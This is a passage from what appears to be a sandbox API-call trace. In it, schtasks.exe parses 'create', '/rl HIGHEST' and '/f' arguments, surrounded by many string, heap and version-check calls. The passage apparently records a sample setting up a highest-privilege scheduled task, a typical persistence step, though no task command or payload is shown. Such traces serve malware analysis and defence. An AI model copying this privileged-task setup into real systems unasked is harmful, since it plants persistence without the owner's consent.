_ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.684] lstrlenW (lpString="|?|") returned 3 [0062.684] lstrlenW (lpString="|rl|") returned 4 [0062.684] SetLastError (dwErrCode=0x490) [0062.684] lstrlenW (lpString="create") returned 6 [0062.684] lstrlenW (lpString="create") returned 6 [0062.684] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.684] lstrlenW (lpString="rl") returned 2 [0062.684] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.684] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.685] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.685] lstrlenW (lpString="|create|") returned 8 [0062.685] lstrlenW (lpString="|rl|") returned 4 [0062.685] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0062.685] SetLastError (dwErrCode=0x490) [0062.685] lstrlenW (lpString="delete") returned 6 [0062.685] lstrlenW (lpString="delete") returned 6 [0062.685] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.685] lstrlenW (lpString="rl") returned 2 [0062.685] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.685] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|delete|") returned 8 [0062.685] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.685] lstrlenW (lpString="|delete|") returned 8 [0062.685] lstrlenW (lpString="|rl|") returned 4 [0062.685] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0062.685] SetLastError (dwErrCode=0x490) [0062.685] lstrlenW (lpString="query") returned 5 [0062.685] lstrlenW (lpString="query") returned 5 [0062.685] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.685] lstrlenW (lpString="rl") returned 2 [0062.685] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.685] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|query|") returned 7 [0062.685] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.685] lstrlenW (lpString="|query|") returned 7 [0062.685] lstrlenW (lpString="|rl|") returned 4 [0062.685] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0062.685] SetLastError (dwErrCode=0x490) [0062.685] lstrlenW (lpString="change") returned 6 [0062.685] lstrlenW (lpString="change") returned 6 [0062.685] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.685] lstrlenW (lpString="rl") returned 2 [0062.686] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.686] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|change|") returned 8 [0062.686] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.686] lstrlenW (lpString="|change|") returned 8 [0062.686] lstrlenW (lpString="|rl|") returned 4 [0062.686] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0062.686] SetLastError (dwErrCode=0x490) [0062.686] lstrlenW (lpString="run") returned 3 [0062.686] lstrlenW (lpString="run") returned 3 [0062.686] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.686] lstrlenW (lpString="rl") returned 2 [0062.686] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.686] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|run|") returned 5 [0062.686] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.686] lstrlenW (lpString="|run|") returned 5 [0062.686] lstrlenW (lpString="|rl|") returned 4 [0062.686] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0062.686] SetLastError (dwErrCode=0x490) [0062.686] lstrlenW (lpString="end") returned 3 [0062.686] lstrlenW (lpString="end") returned 3 [0062.686] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.686] lstrlenW (lpString="rl") returned 2 [0062.686] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.686] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|end|") returned 5 [0062.686] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.686] lstrlenW (lpString="|end|") returned 5 [0062.686] lstrlenW (lpString="|rl|") returned 4 [0062.686] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0062.686] SetLastError (dwErrCode=0x490) [0062.686] lstrlenW (lpString="showsid") returned 7 [0062.686] lstrlenW (lpString="showsid") returned 7 [0062.687] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.687] lstrlenW (lpString="rl") returned 2 [0062.687] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.687] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|showsid|") returned 9 [0062.687] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|rl|") returned 4 [0062.687] lstrlenW (lpString="|showsid|") returned 9 [0062.687] lstrlenW (lpString="|rl|") returned 4 [0062.687] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0062.687] SetLastError (dwErrCode=0x490) [0062.687] SetLastError (dwErrCode=0x490) [0062.687] SetLastError (dwErrCode=0x0) [0062.687] lstrlenW (lpString="/rl") returned 3 [0062.687] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0062.687] SetLastError (dwErrCode=0x490) [0062.687] SetLastError (dwErrCode=0x0) [0062.687] lstrlenW (lpString="/rl") returned 3 [0062.687] GetProcessHeap () returned 0x320000 [0062.687] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x8) returned 0x33dde0 [0062.687] GetProcessHeap () returned 0x320000 [0062.687] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cea0 [0062.687] SetLastError (dwErrCode=0x0) [0062.687] SetLastError (dwErrCode=0x0) [0062.687] lstrlenW (lpString="HIGHEST") returned 7 [0062.687] lstrlenW (lpString="-/") returned 2 [0062.687] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0062.687] SetLastError (dwErrCode=0x490) [0062.687] SetLastError (dwErrCode=0x490) [0062.687] SetLastError (dwErrCode=0x0) [0062.687] lstrlenW (lpString="HIGHEST") returned 7 [0062.687] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0062.687] SetLastError (dwErrCode=0x490) [0062.687] SetLastError (dwErrCode=0x0) [0062.687] lstrlenW (lpString="HIGHEST") returned 7 [0062.688] GetProcessHeap () returned 0x320000 [0062.688] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x10) returned 0x33d630 [0062.688] GetProcessHeap () returned 0x320000 [0062.688] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33ced0 [0062.688] SetLastError (dwErrCode=0x0) [0062.688] SetLastError (dwErrCode=0x0) [0062.688] lstrlenW (lpString="/f") returned 2 [0062.688] lstrlenW (lpString="-/") returned 2 [0062.688] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0062.688] lstrlenW (lpString="?") returned 1 [0062.688] lstrlenW (lpString="?") returned 1 [0062.688] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.688] lstrlenW (lpString="f") returned 1 [0062.688] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.688] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|?|") returned 3 [0062.688] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.688] lstrlenW (lpString="|?|") returned 3 [0062.688] lstrlenW (lpString="|f|") returned 3 [0062.688] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0062.688] SetLastError (dwErrCode=0x490) [0062.688] lstrlenW (lpString="create") returned 6 [0062.688] lstrlenW (lpString="create") returned 6 [0062.688] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.688] lstrlenW (lpString="f") returned 1 [0062.688] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.688] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|create|") returned 8 [0062.688] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.688] lstrlenW (lpString="|create|") returned 8 [0062.688] lstrlenW (lpString="|f|") returned 3 [0062.866] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0062.866] SetLastError (dwErrCode=0x490) [0062.866] lstrlenW (lpString="delete") returned 6 [0062.866] lstrlenW (lpString="delete") returned 6 [0062.866] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.866] lstrlenW (lpString="f") returned 1 [0062.866] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.867] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|delete|") returned 8 [0062.867] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.867] lstrlenW (lpString="|delete|") returned 8 [0062.867] lstrlenW (lpString="|f|") returned 3 [0062.867] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0062.867] SetLastError (dwErrCode=0x490) [0062.867] lstrlenW (lpString="query") returned 5 [0062.867] lstrlenW (lpString="query") returned 5 [0062.867] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.867] lstrlenW (lpString="f") returned 1 [0062.867] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.867] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|query|") returned 7 [0062.867] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.867] lstrlenW (lpString="|query|") returned 7 [0062.867] lstrlenW (lpString="|f|") returned 3 [0062.867] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0062.867] SetLastError (dwErrCode=0x490) [0062.867] lstrlenW (lpString="change") returned 6 [0062.867] lstrlenW (lpString="change") returned 6 [0062.867] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.867] lstrlenW (lpString="f") returned 1 [0062.867] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.867] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|change|") returned 8 [0062.867] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.867] lstrlenW (lpString="|change|") returned 8 [0062.867] lstrlenW (lpString="|f|") returned 3 [0062.867] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0062.867] SetLastError (dwErrCode=0x490) [0062.867] lstrlenW (lpString="run") returned 3 [0062.867] lstrlenW (lpString="run") returned 3 [0062.867] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.868] lstrlenW (lpString="f") returned 1 [0062.868] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.868] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|run|") returned 5 [0062.868] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.868] lstrlenW (lpString="|run|") returned 5 [0062.868] lstrlenW (lpString="|f|") returned 3 [0062.868] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0062.868] SetLastError (dwErrCode=0x490) [0062.868] lstrlenW (lpString="end") returned 3 [0062.868] lstrlenW (lpString="end") returned 3 [0062.868] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.868] lstrlenW (lpString="f") returned 1 [0062.868] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.868] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|end|") returned 5 [0062.868] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.868] lstrlenW (lpString="|end|") returned 5 [0062.868] lstrlenW (lpString="|f|") returned 3 [0062.868] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0062.868] SetLastError (dwErrCode=0x490) [0062.868] lstrlenW (lpString="showsid") returned 7 [0062.868] lstrlenW (lpString="showsid") returned 7 [0062.868] _memicmp (_Buf1=0x33c1d0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.868] lstrlenW (lpString="f") returned 1 [0062.868] _memicmp (_Buf1=0x33c310, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.868] _vsnwprintf (in: _Buffer=0x33c350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|showsid|") returned 9 [0062.868] _vsnwprintf (in: _Buffer=0x33c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x15f2f8 | out: _Buffer="|f|") returned 3 [0062.868] lstrlenW (lpString="|showsid|") returned 9 [0062.868] lstrlenW (lpString="|f|") returned 3 [0062.868] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0062.868] SetLastError (dwErrCode=0x490) [0062.869] SetLastError (dwErrCode=0x490) [0062.869] SetLastError (dwErrCode=0x0) [0062.869] lstrlenW (lpString="/f") returned 2 [0062.869] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0062.869] SetLastError (dwErrCode=0x490) [0062.869] SetLastError (dwErrCode=0x0) [0062.869] lstrlenW (lpString="/f") returned 2 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x6) returned 0x33de00 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cf00 [0062.869] SetLastError (dwErrCode=0x0) [0062.869] GetProcessHeap () returned 0x320000 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c2f0) returned 1 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c2f0) returned 0x8 [0062.869] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c2f0 | out: hHeap=0x320000) returned 1 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd20) returned 1 [0062.869] GetProcessHeap () returned 0x320000 [0062.869] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cd20) returned 0x20 [0062.870] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd20 | out: hHeap=0x320000) returned 1 [0062.870] GetProcessHeap () returned 0x320000 [0062.870] GetProcessHeap () returned 0x320000 [0062.870] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c380) returned 1 [0062.870] GetProcessHeap () returned 0x320000 [0062.870] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c380) returned 0x14 [0062.870] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c380 | out: hHeap=0x320000) returned 1 [0062.870] GetProcessHeap () returned 0x320000 [0062.870] GetProcessHeap () returned 0x320000 [0062.870] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd50) returned 1 [0062.870] GetProcessHeap () returned 0x320000 [0062.870] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cd50) returned 0x20 [0062.871] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd50 | out: hHeap=0x320000) returned 1 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c3a0) returned 1 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c3a0) returned 0x8 [0062.871] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c3a0 | out: hHeap=0x320000) returned 1 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd80) returned 1 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cd80) returned 0x20 [0062.871] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cd80 | out: hHeap=0x320000) returned 1 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] GetProcessHeap () returned 0x320000 [0062.871] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c3c0) returned 1 [0062.871] GetProcessHeap () returned 0x320000 [0062.872] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c3c0) returned 0xe [0062.872] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c3c0 | out: hHeap=0x320000) returned 1 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cdb0) returned 1 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cdb0) returned 0x20 [0062.872] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cdb0 | out: hHeap=0x320000) returned 1 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c3e0) returned 1 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c3e0) returned 0x8 [0062.872] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c3e0 | out: hHeap=0x320000) returned 1 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cde0) returned 1 [0062.872] GetProcessHeap () returned 0x320000 [0062.872] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cde0) returned 0x20 [0062.873] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cde0 | out: hHeap=0x320000) returned 1 [0062.873] GetProcessHeap () returned 0x320000 [0062.873] GetProcessHeap () returned 0x320000 [0062.873] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c400) returned 1 [0062.873] GetProcessHeap () returned 0x320000 [0062.873] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c400) returned 0x6 [0062.873] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c400 | out: hHeap=0x320000) returned 1 [0062.873] GetProcessHeap () returned 0x320000 [0062.873] GetProcessHeap () returned 0x320000 [0062.873] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce10) returned 1 [0062.873] GetProcessHeap () returned 0x320000 [0062.873] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ce10) returned 0x20 [0062.874] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce10 | out: hHeap=0x320000) returned 1 [0062.874] GetProcessHeap () returned 0x320000 [0062.874] GetProcessHeap () returned 0x320000 [0062.874] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33c420) returned 1 [0062.874] GetProcessHeap () returned 0x320000 [0062.874] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33c420) returned 0x8 [0062.874] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c420 | out: hHeap=0x320000) returned 1 [0062.874] GetProcessHeap () returned 0x320000 [0062.874] GetProcessHeap () returned 0x320000 [0062.874] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce40) returned 1 [0062.874] GetProcessHeap () returned 0x320000 [0062.874] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ce40) returned 0x20 [0062.875] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce40 | out: hHeap=0x320000) returned 1 [0062.875] GetProcessHeap () returned 0x320000 [0062.875] GetProcessHeap () returned 0x320000 [0062.875] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x339440) returned 1 [0062.875] GetProcessHeap () returned 0x320000 [0062.875] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x339440) returned 0x3a [0062.875] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x339440 | out: hHeap=0x320000) returned 1 [0062.875] GetProcessHeap () returned 0x320000 [0062.875] GetProcessHeap () returned 0x320000 [0062.875] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce70) returned 1 [0062.875] GetProcessHeap () returned 0x320000 [0062.875] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ce70) returned 0x20 [0062.876] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ce70 | out: hHeap=0x320000) returned 1 [0062.898] GetProcessHeap () returned 0x320000 [0062.898] GetProcessHeap () returned 0x320000 [0062.898] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33dde0) returned 1 [0062.898] GetProcessHeap () returned 0x320000 [0062.898] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33dde0) returned 0x8 [0062.898] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33dde0 | out: hHeap=0x320000) returned 1 [0062.898] GetProcessHeap () returned 0x320000 [0062.898] GetProcessHeap () returned 0x320000 [0062.898] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cea0) returned 1 [0062.898] GetProcessHeap () returned 0x320000 [0062.898] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cea0) returned 0x20 [0062.899] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cea0 | out: hHeap=0x320000) returned 1 [0062.899] GetProcessHeap () returned 0x320000 [0062.899] GetProcessHeap () returned 0x320000 [0062.899] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33d630) returned 1 [0062.899] GetProcessHeap () returned 0x320000 [0062.899] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33d630) returned 0x10 [0062.899] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33d630 | out: hHeap=0x320000) returned 1 [0062.899] GetProcessHeap () returned 0x320000 [0062.899] GetProcessHeap () returned 0x320000 [0062.899] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33ced0) returned 1 [0062.899] GetProcessHeap () returned 0x320000 [0062.899] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33ced0) returned 0x20 [0062.900] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33ced0 | out: hHeap=0x320000) returned 1 [0062.900] GetProcessHeap () returned 0x320000 [0062.900] GetProcessHeap () returned 0x320000 [0062.900] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33de00) returned 1 [0062.900] GetProcessHeap () returned 0x320000 [0062.900] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33de00) returned 0x6 [0062.900] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33de00 | out: hHeap=0x320000) returned 1 [0062.900] GetProcessHeap () returned 0x320000 [0062.900] GetProcessHeap () returned 0x320000 [0062.900] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x33cf00) returned 1 [0062.900] GetProcessHeap () returned 0x320000 [0062.900] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x33cf00) returned 0x20 [0062.901] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33cf00 | out: hHeap=0x320000) returned 1 [0062.901] GetProcessHeap () returned 0x320000 [0062.901] GetProcessHeap () returned 0x320000 [0062.901] HeapValidate (hHeap=0x320000, dwFlags=0x0, lpMem=0x335520) returned 1 [0062.901] GetProcessHeap () returned 0x320000 [0062.901] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x335520) returned 0x18 [0062.901] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x335520 | out: hHeap=0x320000) returned 1 [0062.901] SetLastError (dwErrCode=0x0) [0062.901] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0062.901] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0062.901] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0062.901] VerifyVersionInfoW (in: lpVersionInformation=0x15c350, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x15c350) returned 1 [0062.901] SetLastError (dwErrCode=0x0) [0062.901] lstrlenW (lpString="create") returned 6 [0062.901] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0062.901] SetLastError (dwErrCode=0x490) [0062.901] SetLastError (dwErrCode=0x0) [0062.901] lstrlenW (lpString="create") returned 6 [0062.901] GetProcessHeap () returned 0x320000 [0062.902] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x20) returned 0x33cf00 [0062.902] GetProcessHeap () returned 0x320000 [0062.902] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x18) returned 0x33d630 [0062.902] _memicmp (_Buf1=0x33d630, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.902] GetProcessHeap () returned 0x320000 [0062.902] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x16) returned 0x33d650 [0062.902] SetLastError (dwErrCode=0x0) [0062.902] _memicmp (_Buf1=0x33bb80, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0062.902] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x33bd20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0062.902] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0062.902] GetProcessHeap () returned 0x320000 [0062.902] RtlAllocateHeap (HeapHandle=0x320000, Flags=0xc, Size=0x74e) returned 0x33dde0 [0062.903] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x33dde0 | out: lpData=0x33dde0) returned 1 